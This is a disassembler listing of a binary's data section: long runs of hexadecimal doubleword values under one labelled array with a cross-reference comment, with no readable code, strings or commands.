		dd 38BB265Bh, 4F8259Dh,	757D2D04h, 66C70228h, 442A1820h
		dd 466532E9h, 0A682CE65h, 8000EF41h, 15113C6h, 0E5C042B5h
		dd 6ECD8B08h, 45726D8h,	141337BFh, 450BB566h, 38021CE3h
		dd 58C22807h, 0C3E43580h, 0A5280D7Dh, 3509FFCBh, 10521374h
		dd 2C3ADB0h, 0F301731Fh, 0CC7F595Eh, 0A47CEF19h, 0F07E6548h
		dd 0FCB04918h, 2856380Fh, 44515AEBh, 0B732C62h,	685DB49Ah
		dd 0C75A5DA9h, 122118C4h, 0C0F5F737h, 3061F63Eh, 0ED0C3F13h
		dd 8950CB7Ch, 20549DEh,	0FA013B72h, 7DF48C0h, 10658D0h
		dd 2D4D1006h, 0DD060C69h, 4B308C58h, 5FA8010Eh,	0F7E931A4h
		dd 0C3C58E4Fh, 0E0DA0AAAh, 0ED309943h, 0D992ED4Ch, 7E0D18A2h
		dd 43AABA44h, 0E96ABF04h, 8C915A8Bh, 0A23B02C6h, 0D8BA9243h
		dd 0E84A5E84h, 764233FBh, 0A0EB15CBh, 42EF4B4Bh, 9C27D8Bh
		dd 0C402ECC7h, 8408306Ch, 580078BCh, 6866E586h,	0A30E452Dh
		dd 9A54F638h, 8C307701h, 0ECE4E530h, 0E80808D2h, 9F2C0E1Fh
		dd 4904F807h, 8FA0AFF9h, 2FF0B50h, 0C6B1E916h, 5802CC5Dh
		dd 9036C268h, 2E111F4Dh
		dd 1D38785Ah, 6DCD8AB6h, 17E024E4h, 0F8593442h,	48CB483Ah
		dd 442205F6h, 81824510h, 0CDECFF0Eh, 1CD0545Ah,	0BF013A50h
		dd 0EC6A1871h, 54CA728Bh, 4065E8EAh, 0F4685053h, 1CCD0D4Fh
		dd 1AE1CFCh, 61B9510Ah,	7F756D67h, 5AD2EFA5h, 8683BB7h
		dd 0E0658C4Eh, 7A4A1EE6h, 371230EDh, 0E9659118h, 75C22CA9h
		dd 19EF1232h, 2D9B58D5h, 0ADD4455Dh, 47026424h,	406E4970h
		dd 3E64BDC2h, 0E60223B7h, 630A2DF4h, 3EC08057h,	2D0F7B53h
		dd 4F89728Ah, 0B5028EC7h, 0F5FE88BEh, 0E9042FC5h, 66909FEDh
		dd 4BF1122Ch, 9D700943h, 0D1894140h, 54650CEEh,	99B85E26h
		dd 0E863E9F0h, 6CD786AAh, 4F32FA89h, 0CAFCD128h, 7E753FBAh
		dd 41481488h, 0AE612F4Ah, 81045D9Eh, 29C59F29h,	94CB0BC4h
		dd 593D583Bh, 4E773AD9h, 0C34BC3AEh, 37675D4Ch,	0D7F99997h
		dd 0CD273416h, 73C3D659h, 0B4687F92h, 0BD9886CFh, 1FCC6E20h
		dd 0E06B151h, 1173CF1h,	0F6D786D4h, 8FB781D2h, 0E682447h
		dd 6017826Dh, 228AFEFh,	7E29416Bh, 2BE9E23Ch, 0BD8FFE5h
		dd 947161E6h, 0AF8D5DC9h, 5FCA4106h, 0C6133F41h, 540C400h
		dd 58EDFC7Bh, 8A58F4CFh, 5911E093h, 61B82FE1h, 3CF75BE2h
		dd 95E916ECh, 0BD923044h, 0E6244F96h, 0D71C6422h, 0BA807D16h
		dd 15635069h, 0A3A8E999h, 0BEE8004h, 0D1848658h, 4F5C35A2h
		dd 0B4D9ED81h, 84ECB2CDh, 0EC9095A8h, 0E4034DFCh, 52935B6Bh
		dd 2249C1BAh, 0E55F688h, 8C2C661Fh, 0CD80C502h,	7314E0F6h
		dd 8840824Ah, 9832CCCh,	51B45074h, 0A6A280DFh, 9F4C066Ah
		dd 964DDA16h, 4A5124D3h, 891F8F10h, 0C39256F0h,	0DC11418Ah
		dd 0CF0E0102h, 9C8C880Fh, 0B5DE43h, 0C766BF30h,	13A94BD2h
		dd 0EE700294h, 0E8D7926Dh, 0B463663Ah, 6816749Eh, 11C903E9h
		dd 0E22505E0h, 78609748h, 7124D6F0h, 933B9242h,	0D741DDEEh
		dd 0C3015FF8h, 680EB826h, 0BF132D7Ah, 8E292E8Ah, 277727A1h
		dd 0E7C45EBBh, 0B45F8EACh, 422706A9h, 2406F49Ah, 88F8192Bh
		dd 0B35F30EEh, 1656D4Ch, 54446117h, 0F12869E9h,	8098258h
		dd 7610C831h, 0BB95DCB9h, 43C2D96Ah, 7FB3403Bh,	0C10D3A6Fh
		dd 7C7B81A3h, 7ABE5713h, 2F09D714h, 5BA805Ch, 0A0816E5h
		dd 2DF8010Ah, 5A053E07h, 0FE48170Ch, 60DACD0Bh,	16852A1h
		dd 627C0B1Bh, 38EAC15Ah, 5FE25CDh, 0CE0F4A59h, 0DC3B69EFh
		dd 0EBD51727h, 0B8FCA213h, 9E0DEE50h, 18A461B0h, 6005C57Ch
		dd 2B48D1B7h, 0A2282D9Eh, 0F9899807h, 1D84C91Ah, 0C8AB1319h
		dd 8DB8D705h, 9BCC909Dh, 0A2BD80E0h, 6BBB7914h,	58805BD9h
		dd 0B4B16859h, 0B51C2518h, 1E2FB2BEh, 0D301049Ch, 0AF4937E9h
		dd 382FE52Dh, 37A8FE07h, 0A01605BAh, 8EE0B210h,	4C7F38E9h
		dd 7437EE4Bh, 6415AAB2h, 63740F34h, 906B2154h, 0E701277Ah
		dd 57E00DDCh, 493B8F0Fh, 160447BEh, 848A1409h, 5EC0D988h
		dd 3E1755EBh, 8B5E295Ah, 384A58A8h, 27D40680h, 1EE3FFE9h
		dd 0ADF6CC88h, 0CBEEDA58h, 3CC2F198h, 57515B66h, 43BC144h
		dd 5157B08Ah, 1D66F781h, 67319C2Dh, 0D894CA85h,	4597565Eh
		dd 0EC55C915h, 0C3E91339h, 68B43236h, 77A3B698h, 0B85080h
		dd 5C4B2330h, 0C7097605h, 8EACD95Bh, 0BC89871h,	64115EB5h
		dd 7C0A1A87h, 0E9124D36h, 0B1C9E5F5h, 76904889h, 0FDCFE0Bh
		dd 7F920B92h, 2FD07695h, 50E53FD9h, 0D588DCBAh,	0C5E9AF63h
		dd 0C110FA94h, 0F231FD4Eh, 0F05F0802h, 93D99D25h, 0EE6762h
		dd 6D4CC325h, 0F8482D24h, 0F256227h, 0D345AEC7h, 3B46A26h
		dd 0E7602D04h, 0C5EA032Bh, 7C5480A7h, 258E940h,	0D58385CDh
		dd 0DC2FDDF9h, 1FABA9D8h, 20B1D183h, 82222ECAh,	0AF31CB06h
		dd 0B558F8E9h, 5469044Ch, 5ADED6B6h, 8733C3DDh,	1C5610Eh
		dd 4F60D5F6h, 7310C134h, 94EB6EE9h, 8D4DE8h, 70271725h
		dd 63298D0Fh, 0C06D45E8h, 44FB6B4Bh, 0BC4BCFF8h, 5D218B60h
		dd 5D542EABh, 7E691D20h, 272EDC89h, 5725A0DCh, 68FA8716h
		dd 7814082h, 59560D45h,	0FDFEC141h, 45146BF6h, 0B5EC045Bh
		dd 0AAC74275h, 4E1DF2F3h, 5A3CBF1Ah, 0FC465A63h, 4A22A6DDh
		dd 9212B954h, 0A3C78905h, 57253BCAh, 0F00AE5Eh,	7EBF2D06h
		dd 5885056Bh, 1F9EC5E9h, 7B774517h, 0DD2BC97Dh,	56C504B3h
		dd 0AB0174F1h, 0CE1180A7h, 21FE043Fh, 82815696h, 0A265AC98h
		dd 0E6887514h, 8612407h, 31124049h, 8CBB20Ch, 8D352F7h
		dd 0C6C98101h, 202B5760h, 35D6E5BAh, 8A13FEh, 4104F1FCh
		dd 0F94C3136h, 0E30B1E0Ah, 0CC0CABECh, 0AC2D1B9h, 1CBE11DBh
		dd 3C75A5ECh, 0FB524F33h, 0B85C5878h, 6524FDAAh, 62815A3Bh
		dd 93F068D0h, 0ACA6AE1h, 2954F82Dh, 0BE67A158h,	3CF8510Fh
		dd 0DC2C69FBh, 1875DA90h, 82E0D774h, 0BAEC75h, 6542BB53h
		dd 0F4B07F8h, 1B788012h, 433EDADh, 0AEC508D0h, 64D2ED31h
		dd 0DABE84C3h, 22E1A15h, 430275D7h, 93D7B896h, 33AA09B4h
		dd 38841C5Dh, 2EEDF1DBh, 565E5204h, 6EDA29EAh, 0F5B3A7F0h
		dd 3EE478Bh, 18885480h,	315A758Ah, 0BA125BA0h, 0BFC9F99h
		dd 0B7A5FA72h, 5B62A222h, 1C685301h, 18425BCh, 8433FFFBh
		dd 5AB1B8ACh, 7BD46CB8h, 42C4C220h, 50096333h, 427AF7DCh
		dd 25805C2Eh, 9D2648F8h, 4F407010h, 4C278F1Eh, 292D244Ah
		dd 55A0CD64h, 0BF9A33D2h, 0E53BFD77h, 3CBFDA2Fh, 0DF40E761h
		dd 2CE60081h, 0F4D5A2Ah, 0CE526A87h, 250077D7h,	0F789DD20h
		dd 985A4F5Eh, 0A2312566h, 62A0EFE4h, 0D7DF6696h, 0CF08DDEh
		dd 2F6B44BEh, 9C5C2AC1h, 60136F17h, 4C6BC1B6h, 26BE73D8h
		dd 320C0F1Fh, 0C28152h,	22AE4B7Ah, 0DDB5F089h, 0FF4604BEh
		dd 0F50CC103h, 72EC17FBh, 18E0C6C6h, 1EB87699h,	0D25F0767h
		dd 0BB5CE0A4h, 8453440Fh, 7888493Ah, 913FA08Eh,	0BE5680C9h
		dd 6B4D920Bh, 12A3D80Bh, 0B03DE55h, 8CC9838Eh, 88EE506Dh
		dd 0E5921ADAh, 0A943C327h, 0DC94007Eh, 0FA302837h, 91B34F1Ah
		dd 0C2C54019h, 41ED5975h, 7314DA68h, 0B7530BDCh, 8BC6750Ch
		dd 0C480C80Fh, 0A9B3C7DBh, 0FEB8E360h, 7EEBF6CBh, 0CFF305DFh
		dd 805BDC08h, 0B05057A9h, 0C4E91409h, 8C4555AEh, 605D5109h
		dd 303D1D10h, 0BB0C5CDBh, 195B8D2Ah, 804F6E5h, 141F0484h
		dd 27B067AFh, 0E913B994h, 42B70928h, 13E7AE40h,	0FC71C847h
		dd 939E24ECh, 5536FF9Ah, 0FE7E8D09h, 9EFA5A13h,	11E90A5Eh
		dd 77BBBF1Dh, 47A720ECh, 365C4712h, 0FBAF1AFBh,	0BD87D437h
		dd 0AE10451Ah, 0C49A6340h, 0D18B7582h, 0A460A0D1h, 65E9A07h
		dd 0D6F79640h, 0D04C0846h, 17C63F3Dh, 1BFA359Bh, 3AB01603h
		dd 0EE2EFDB3h, 87010229h, 55B268CEh, 0EC2ECF4Dh, 6F67C408h
		dd 9FBDBAFh, 10B7A2E9h,	2F49635Dh, 587E3F80h, 0D7CA890Bh
		dd 0FE9F5216h, 4DEF09FEh, 52E7DBA2h, 45539F60h,	5EF213C2h
		dd 95A9E431h, 34B7A71h,	27AA3112h, 55F1E39Dh, 0B02593BEh
		dd 0C51209F3h, 37CBAFE4h, 0A769681Ch, 3C49A018h, 597D8313h
		dd 0E9024AE3h, 206055DDh, 74B1DC82h, 0CED0FB54h, 0C9D39AD1h
		dd 0CD503DA6h, 0AF3D169Bh, 0BA2F8030h, 2F1B253Dh, 8EF03172h
		dd 7550BB04h, 0BFC069FCh, 7F8B9C1Ah, 0A409B57Ch, 0D9C822FDh
		dd 0C18BD75Bh, 75CF6A5Fh, 0A37B04C2h, 55B255A7h, 0DD527AF6h
		dd 0B159406Ch, 0A6AD4AA6h, 953080B4h, 27288B0Ah, 95888DF7h
		dd 80B254E9h, 0ED98D9F6h, 60354E5Dh, 0E00BCECCh, 44E9177Dh
		dd 0AFA05341h, 8C0CAC53h
		dd 9EA8F56h, 5A6D96C0h,	407FC078h, 0BEE3F726h, 38CF580h
		dd 180F0D33h, 9FDAF185h, 0A94178E9h, 4B2E8FF0h,	20E689C2h
		dd 3717EDC6h, 0AFA1712Bh, 4B1D8000h, 1791460h, 84182DDh
		dd 94531354h, 28E9D37Ch, 2040F25Fh, 2AF63DECh, 0BA078BB2h
		dd 7AA0452Fh, 0F64909F2h, 4066880Ch, 810F4802h,	17EF58ABh
		dd 3230F168h, 0D7D08BBDh, 789DF4B5h, 548DCE9h, 0B668C22Fh
		dd 81CDFD64h, 7A147C25h, 92DEECD7h, 0D1B1DD2h, 0F9878588h
		dd 0B834C547h, 0EA8750E3h, 5F3EA17Bh, 0EDCB13F4h, 13949FBCh
		dd 80607207h, 856CE212h, 730C37CDh, 41A3C574h, 0A2B56086h
		dd 42171662h, 0BF5700ECh, 0F6130D2Dh, 9DE43151h, 5A0125E9h
		dd 89BFEBC7h, 44010B35h, 5AB79833h, 5E244F1h, 0C2280073h
		dd 0BBE4EA80h, 0E2B70B8Dh, 0AFB1E405h, 45129B8Fh, 0D6CBFBF9h
		dd 0E5C15C0Fh, 8EDC95Ch, 4CEAE701h, 0F39B4394h,	28CC0FF0h
		dd 0CBD0CC1h, 0F47B39A1h, 0B260E4FDh, 748AB848h, 3546012Bh
		dd 604561AAh, 10B02250h, 81016E53h, 7B13BCCBh, 1EF63069h
		dd 33F46C05h, 9D87B5E9h, 8C1E660Ah, 5B31488h, 0FEBFF480h
		dd 28DCB490h, 0AF584BE3h, 150D7E02h, 0E5477501h, 0CCB50B2Ah
		dd 6D569DECh, 2659B75Ch, 552CDC62h, 15E3B25h, 4732E6A4h
		dd 8504604Ch, 89EE525Ch, 6F1FE9Fh, 7A8170BBh, 5E85D8B7h
		dd 0A1F7145Ch, 0BD22CA12h, 0F4E22080h, 707D04F1h, 0C7413E09h
		dd 0E6F5E5DAh, 0D2D9376h, 0C14D6542h, 2F62C6h, 11F37A30h
		dd 0D92D8B0Fh, 0DF37492Ah, 0F84C38D8h, 92317C84h, 70D7584Ah
		dd 0BB0B1C20h, 854443BDh, 0D8BBDAD5h, 3480EC01h, 0D138C1BDh
		dd 0A5DFF7EFh, 0CB8FF540h, 0EAEE2C21h, 87D07BCFh, 2823F2C5h
		dd 9D872E8Bh, 56D2BADCh, 1162B3FEh, 0B7C2B33Ah,	0F2803A3Bh
		dd 0B7B96851h, 4BC5A71h, 53923796h, 6FA24B81h, 7B66F76Fh
		dd 0EE96BF7Fh, 0E0A104EBh, 0D4E70B12h, 5E05AF54h, 30D97668h
		dd 179EC8DBh, 335DF6A1h, 0A3D2D5F7h, 26E9130Bh,	0ADD856F3h
		dd 0FE94A6E0h, 0C500CD72h, 537CB050h, 5BE961B3h, 0BBC800C4h
		dd 4BC02CAFh, 0F4D98F4h, 24C9481Bh, 58A63385h, 0D03AFD02h
		dd 1DD2Ah, 8862B368h, 16A0D3B9h, 943AC5Ah, 0D70149B0h
		dd 829B4616h, 5E4A9F20h, 79E6DEB4h, 48DCB539h, 0AB1B3658h
		dd 3B72B7EFh, 0F2D57C80h, 538CEA76h, 0EED86B4Fh, 71889A69h
		dd 0C6B038B6h, 0B85AF017h, 3DE87FA6h, 0BA1622B2h, 60FAA76Fh
		dd 32CD8183h, 52B31901h, 2905800Fh, 0B0085BEh, 0E9037F25h
		dd 0CBB2ADD9h, 0DD87DE5Fh, 113DAF4h, 0E86566DFh, 58806E73h
		dd 0F42A8FE2h, 4BFAB03Fh, 4B2DB6B2h, 0FB1AE7E8h, 25550E65h
		dd 8FEF5CFEh, 36CB4FD4h, 0BE3FEB13h, 0EDD9FB69h, 0C596BD32h
		dd 0F48AEF47h, 9C25EE97h, 17C4C475h, 0C2F6A6ABh, 0D6456568h
		dd 0C7556216h, 6AF68209h, 0E070E1E6h, 9A693829h, 0FAA28477h
		dd 7A090113h, 6ADA9FC2h, 5C814016h, 506539E9h, 1CA8FC78h
		dd 7A195C9Dh, 5192C1D3h, 0C7BE5A65h, 3494F047h,	11441F6h
		dd 2F072DC8h, 57EC2459h, 40140FF6h, 5AC19DF9h, 2F7EE568h
		dd 25AFE430h, 0F431A201h, 0A55F13C1h, 980932A1h, 704B680Dh
		dd 45F49732h, 538FE961h, 9225B26Bh, 0C8E3B0Ah, 0E78851A1h
		dd 1C662664h, 0F5702F75h, 7C0696EBh, 0B84BFA05h, 57C66BA2h
		dd 5F4BD95Dh, 0DD90D6FCh, 0E6DEAC4Ah, 237926BBh, 0BB30CC9Ah
		dd 7FB8375Dh, 0C844D31Fh, 850ADDE4h, 0E581EDE6h, 68B852F9h
		dd 951A83ECh, 7A829D29h, 5E0505A9h, 0F129D961h,	0D47282FBh
		dd 142C5042h, 68FA109Fh, 0F6175E35h, 386C5656h,	3B283168h
		dd 51B08B63h, 8E3CDAE6h, 0B34E207Ch, 0C259950Bh, 0E2F16B12h
		dd 45150F2h, 701303BFh,	935FC77Eh, 0E9A88FEDh, 7A9E2F38h
		dd 9720CABDh, 3B700893h, 0D9482915h, 65720841h,	5580E092h
		dd 0B59093D3h, 94C5835Dh, 71BC00FBh, 0BF570AE1h, 0C222DC0Bh
		dd 361CD547h, 59280502h, 7EE9C177h, 14822515h, 53575758h
		dd 440DCDA5h, 36C2EFCAh, 5D6AC946h, 5BE6CF3Ah, 794204AFh
		dd 7D5E0BD6h, 0DE8E0D9Ch, 0A1B1317Bh, 8D20DE4Ah, 5C5C3E94h
		dd 8F20EC5Ch, 9A332090h, 5E345D15h, 0D2BBBD8Bh,	0BEEAE906h
		dd 79C70D51h, 2A1EB480h, 60E5B06h, 0BD3E3043h, 455AD5BFh
		dd 7EDC114h, 0BCAA05E1h, 0A980B4B7h, 17C9440Fh,	1BFD875Dh
		dd 0A8050859h, 48D5102Eh, 363B2F80h, 0F05D51BDh, 66A642BFh
		dd 0EC651674h, 37748B7h, 3BEF0346h, 808EAE9h, 0F0FE3ADDh
		dd 668042Bh, 0B2CF017Fh, 0D2E89E23h, 79E7122Dh,	5C4B850Fh
		dd 4A8B81CDh, 0FF1AA5DCh, 462D07B8h, 42EE015Bh,	73A4685Fh
		dd 94D53A57h, 75534BFCh, 0F5D603A9h, 0FD8C381Eh, 0F6810D92h
		dd 707115F1h, 6DF6B928h, 0E15ADF98h, 4F2D7AD0h,	29582F4Ch
		dd 0E9D578C0h, 8EB2192Ch, 5DB673C2h, 580967EEh,	5569DB68h
		dd 4D55C198h, 4AE95480h, 0BE0117CEh, 32E42D44h,	956041AAh
		dd 7B314322h, 0EF97A387h, 0D9712B0h, 0E00BD56h,	144E4BF7h
		dd 599FC1B7h, 0E657407Ah, 0AE8B0F8Dh, 7ED0374Bh, 0CF78842h
		dd 0D78E95Ah, 5F4A5B28h, 29278B8h, 51E2C19h, 0ACF17C61h
		dd 0AB1FEBA5h, 27674C4Ch, 3EBE09F2h, 0E55F0508h, 9509A32Ch
		dd 68C20A5Eh, 6CD93C91h, 239B85BCh, 0E60128F0h,	2F7120F3h
		dd 2FDA89CCh, 0C9C2D3E9h, 0E8F80A6Eh, 0A7010625h, 499E5515h
		dd 27B7E416h, 1DD27E68h, 24C72F5Dh, 0D0BBA5Eh, 72B47508h
		dd 71B8E916h, 483D2BAAh, 906204AFh, 6CACD1AAh, 8296552Dh
		dd 1DB9511Fh, 0F46C8C89h, 0BD72278Dh, 368DF707h, 9DC28FAAh
		dd 910564A4h, 0AEF781DAh, 8225F424h, 3541216Eh,	58866168h
		dd 2591E86Bh, 76DEABD0h, 8CF1681h, 0B20FFF5Fh, 0C2456B1Ch
		dd 0A0475582h, 3DBC74B0h, 0BF2B4A47h, 50082910h, 0E9F0B1Ch
		dd 0AFBDA6EDh, 61130F4Bh, 48E60D72h, 0C307AFEDh, 1BB32B19h
		dd 6AA08BB4h, 2B545B52h, 0FBC110D9h, 6426413Bh,	0FA6DAFF3h
		dd 0C0B25285h, 3EAC4FC4h, 0BE777C72h, 0E5C64385h, 0D02082BFh
		dd 8976E7E2h, 2917AEA4h, 8B75B2EDh, 59F644B2h, 84B12763h
		dd 954FA6FAh, 0DC9E4B44h, 27207358h, 6B8851BDh,	514B40FAh
		dd 51E69F0h, 0CF68272Eh, 40ACD91Fh, 305F0E28h, 0B1DD3CFDh
		dd 4278235Ch, 0EF6F97C1h, 4EB12F33h, 372CE33Eh,	77D23540h
		dd 2FDA75FAh, 2F141801h, 9025B949h, 0BD2F92D5h,	0E7BD0704h
		dd 80BB7A1Ah, 0D616B998h, 31DB057h, 6D427980h, 458DDF7h
		dd 845040Bh
dword_4F0044	dd 0E9C27BA3h, 9CB20015h, 0ED5AF280h, 0E67685E8h, 0F8CAF28Fh
					; DATA XREF: ___:00437A64o
		dd 84A25AE9h, 0F877AA90h, 0A53CD1D0h, 0A26B9072h, 0F70809C2h
		dd 1F9C3966h, 7F076884h, 4B47CBAFh, 2EE90488h, 89E30936h
		dd 0D51659CFh, 8D7EA297h, 0A4C47DE4h, 5C403BB0h, 27F97F88h
		dd 567333DCh, 8A38F7EBh, 6882DB82h, 4B895BB3h, 0A98997D1h
		dd 0F02FADCh, 0A0E69483h, 343BE381h, 0E97A0CC2h, 803ED9F6h
		dd 1BA4C74Bh, 363E6395h, 0C6E038B0h, 0F1E72839h, 861F2F4Fh
		dd 0E0C0AE00h, 3F632C03h, 0D7244C34h, 14058215h, 2CC09FFFh
		dd 3F1231C2h, 0BC091FFCh, 33599187h, 803E5BCDh,	38357FD2h
		dd 0CD5101F6h, 590803FDh, 6D181E70h, 4A0C6C7Eh,	44D02534h
		dd 8310C05Ch, 0FDAB494Eh, 53BF25E0h, 43E44613h,	8D8016FBh
		dd 1EF16D74h, 0F5F19BE9h, 5AE176F3h, 0BA01E647h, 0FB4745D8h
		dd 24296A3h, 0FC7FE14h,	0A7F75585h, 2AE95BC0h, 222F088Fh
		dd 0C79515F0h, 6535BF55h, 2C88EA1Dh, 88C226B1h,	19D80BA7h
		dd 6886C2C5h, 20416E88h, 58971058h, 0CAD2958Dh,	0CE9578B0h
		dd 80AAC9E9h, 0F6013B72h, 93F3DD7Bh, 1732E7E9h,	24822127h
		dd 145FF439h, 3E199711h, 4C6CB4E9h, 5C05E9A3h, 0F30D9E68h
		dd 65DB16A5h, 4FA82EBBh, 0E9EF70BAh, 5CB29C5Ch,	4330FF2Fh
		dd 923EE80Fh, 0F13ECA1Dh, 0F3EC2D07h, 3FAEE92Ch, 44EE0893h
		dd 0BA65C676h, 0D3A955D1h, 2524B804h, 0C85D923h, 0C38F7C30h
		dd 0CE6BD40Ch, 2F890C64h, 0C01CE721h, 248F2B20h, 41D5866h
		dd 0FFB22C0Fh, 79276C1Dh, 66816FD1h, 0A6D589E9h, 0D018A186h
		dd 40F58891h, 0E634C184h, 0D9000703h, 22EB2BD7h, 6EF92768h
		dd 28486318h, 7417F325h, 4AE90B0Ch, 681830F8h, 0CFA55A1Dh
		dd 1D5B9D89h, 547530ADh, 89B915Eh, 8101EA16h, 65AE93EBh
		dd 2ED1FA41h, 6D04598Ah, 1F724041h, 20A13467h, 0A5127BE1h
		dd 609688E0h, 5EC14FD7h, 325C5F21h, 0F14F4A2Dh,	49588529h
		dd 0DE62C381h, 28C88C3Fh, 2AEB1E84h, 0E92E026Dh, 6602E5F2h
		dd 0A751D55Ah, 1AFA278Dh, 0DDC81E6Fh, 0C3E96417h, 6084502Ch
		dd 0FAFA3152h, 905CB274h, 8B0F1680h, 0D07AE0B6h, 0B910E062h
		dd 53560C72h, 56D0E141h, 60C809BEh, 0C1752944h,	3638200Fh
		dd 34B40503h, 0A7A96D0Ah, 0C6E0CA10h, 0C182CB22h, 187B9240h
		dd 47E8361Fh, 0EC2A5881h, 17DC1CF5h, 0FC385D25h, 0DCBA91E9h
		dd 7721BF02h, 854F47E3h, 37BC628Bh, 3F32E84h, 0F1157435h
		dd 0C8884014h, 0D01933Ah, 70F652EAh, 604187ECh,	0C1B2F69h
		dd 0E9182030h, 315B3ECh, 6E5B2F1Eh, 0C8DC4290h,	5A51FFB6h
		dd 0F601C43Fh, 9B004AA9h, 807359BBh, 1CE92F39h,	0D689FE5Ch
		dd 7592C611h, 5BD83EFBh, 3173CB97h, 0F8BA5231h,	8EB08836h
		dd 7C4A2CA2h, 2FDB7955h, 23BA1068h, 2D786A13h, 865B10E8h
		dd 55098283h, 0FC4DBF4Fh, 2CAE281Bh, 5AA4E04h, 0FBC2E4E9h
		dd 0EA20809Dh, 0F2778286h, 9D0D5ED9h, 0FE54222h, 2D7066DDh
		dd 0ADFCE7F9h, 9AFBC765h, 0F8FC5B9Dh, 0CC117512h, 234D0CEFh
		dd 0FCC102D6h, 7D29A5C4h, 0AF382632h, 86198E9h,	34F5CB63h
		dd 0BF207FCDh, 36C29F60h, 0B58898F7h, 75D42C71h, 276D0D7Ah
		dd 58043F6Ah, 0D6AD222Eh, 3160B07h, 5B866F74h, 9F98A1DCh
		dd 140640B5h, 0E6808034h, 38B1784Ch, 5AF40F9Bh,	25053688h
		dd 8FFF6567h, 55F90545h, 0EE81500Eh, 7DD94E87h,	80B506Ah
		dd 47BE14Fh, 55C3D085h,	325C2A15h, 0A9B20B21h, 9318213h
		dd 890F01ADh, 7BA16CE2h, 6520AF25h, 0C48A8B1Eh,	3C8DC3C0h
		dd 0EE815881h, 0BC01354h, 60F82E29h, 128405E2h,	4F0EB759h
		dd 0C6131D34h, 0DDD4A5A1h, 6FC4BFD3h, 0D1BA660Eh, 0ABC09374h
		dd 9DAACAE9h, 0C4B4620h, 8B971AEBh, 62BA507Dh, 5659673Dh
		dd 26B2DB65h, 8E382CBh,	73ED5CFEh, 548EF1h, 254A015Ah
		dd 6AD05938h, 6682CE0Fh, 736A6FF2h, 4950C0F6h, 4BCCB103h
		dd 0E9615EFCh, 0F12D0FBEh, 72C9AEA4h, 56041904h, 290318FDh
		dd 0F59481EAh, 0E60C82FEh, 5E45FF10h, 0B74E8967h, 1927C667h
		dd 447A5BA2h, 0B325C5B9h, 6093113Fh, 0AC711A13h, 2949DE62h
		dd 0C2579B06h, 0A2427D9Ah, 4FFA51DDh, 896ED4E5h, 68690045h
		dd 0C59D0F38h, 0B0E90949h, 0D3D76B42h, 0A3E34C37h, 4E54B540h
		dd 26966958h, 15AB10B3h, 76B0BD02h, 60404907h, 0EC2E46FFh
		dd 0D17274Eh, 0E88865AAh, 931D10E3h, 0F3DE5D2Dh, 829A652Fh
		dd 7BB168DAh, 8780EE59h, 0C120750Dh, 2F0558E8h,	76350B60h
		dd 1F50A4AFh, 33B024F3h, 0E9816701h, 1D3AC190h,	0C23D6069h
		dd 539406F2h, 0E584AB7h, 0D5AF6AB5h, 0E25B6744h, 8FE12FC9h
		dd 4130E4B8h, 4A6B5EDEh, 5520A0B0h, 0B1B9505Ch,	886295D9h
		dd 3CF674CAh, 7FCB0FC2h, 0B4F6F7EEh, 4F2426F9h,	26C30187h
		dd 0F42316C7h, 2E26C9FEh, 68500B30h, 4B381606h,	0EA03FA14h
		dd 0FA122F1Fh, 65387DC3h, 0A4327CE5h, 0D4EBDA7Ah, 44556BBEh
		dd 176E3757h, 0F7D1D7E8h, 0C1D8046Ch, 2A09AB8h,	0B864775Ch
		dd 0A0CB4A20h, 1573AC94h, 0AE296A1Ch, 48610841h, 0A877D42Bh
		dd 0F1E9164Fh, 7D541DC2h, 0E9615CD1h, 8C2E5521h, 4C400CF6h
		dd 9FDE91BDh, 0F47B0AEBh, 58C6828Dh, 7FD4F009h,	6A02D5C8h
		dd 623A9576h, 0F29E9071h, 0F793809Ch, 4097D073h, 2031E7Bh
		dd 79840F3Ch, 0D5A30128h, 91D468A1h, 0D1400337h, 5FD041E0h
		dd 80216F13h, 0ED6B5D54h, 39E9C719h, 823F269Dh,	0B25766A4h
		dd 0B5FE99A8h, 5CDE822Eh, 4807F9DFh, 70C42007h,	2DE97A6h
		dd 0C9311AEDh, 0B20E532Ah, 3D27C4F3h, 2B685301h, 7EAA2371h
		dd 8C20B5Fh, 0DD8B6A5Ah, 0AE8B7579h, 0C14D2075h, 3EF706E1h
		dd 253A56D9h, 0E3DE23E9h, 0BEE27EACh, 0AD4E119h, 297EC540h
		dd 0E88D5FDFh, 21BC4B8Fh, 0CC80829Dh, 355C08Ch,	4DF20E0h
		dd 4A5BDA9Dh, 7003C1F7h, 0CE6D880Fh, 0E7C000CAh, 6DC78008h
		dd 3A60D3F6h, 2B25BB16h, 5C514848h, 7454B215h, 1FEC680Bh
		dd 81D56C9Ah, 2B7E673Ah, 0C411EC3Fh, 90D057F7h,	0B8EB73AFh
		dd 0AD1020B6h, 0E501F49Ch, 7B0877B4h, 0CD02247Dh, 4CFC0243h
		dd 46C09F81h, 0F53061BDh, 0D5226B4Fh, 219D825Ah, 89020B22h
		dd 0B1DD9F8Fh, 317F5436h, 587F4B2h, 0E45905FEh,	68614751h
		dd 0EBFE2BA8h, 485E064h, 5A8A9DD8h, 281B22Ah, 0BB619FEBh
		dd 2B0C6072h, 67642C1Bh, 0BC5C126Eh, 1442C411h,	4AC18003h
		dd 0B7D3CB83h, 0F7812501h, 0AD3AEDFFh, 7212067Fh, 0B9076405h
		dd 3E2B7F12h, 0FE1BEAA7h, 1A884AAFh, 0EAF48B95h, 4A8A6850h
		dd 0BF3A312Bh, 410BABCh, 0A7ED7A7Eh, 13F720FBh,	114EDA31h
		dd 8736BB9h, 306271A9h,	0EE0B4312h, 925D401h, 96F6111Bh
		dd 1D49F488h, 0B48CC545h, 0C349AE4Eh, 722DDE55h, 5C2D1280h
		dd 0CE9413E8h, 4178E020h, 4B19D49Fh, 0A6BAAFF7h, 0BF70967Eh
		dd 6887BA79h, 5D0B3663h, 0D6259C47h, 484B5346h,	0DBB56A07h
		dd 0E8289CE0h, 2BF4E92Ch, 6F5D94EDh, 3D3F7D82h,	227857h
		dd 0C5478742h, 895FFB31h, 13DF79B7h, 3012E16Dh,	94F0E87Ch
		dd 0AC41EE4Eh, 59032210h, 16C0D670h, 0D443B36h,	20A3EE65h
		dd 89300DB7h, 0E2720C7Ah, 17BA4C56h, 0A32DE958h, 492953h
		dd 831EDC8Ch, 9E3F80Ah,	2C7F3E76h, 0FEBCC07Dh, 0C766BD4Ah
		dd 5911B265h, 12218BEBh, 0C909D9BDh, 0BC6ADF74h, 972442C2h
		dd 8ACCBF5Ah, 0F1E14B68h, 27E22AEDh, 5118B0D3h,	0CB85D49Fh
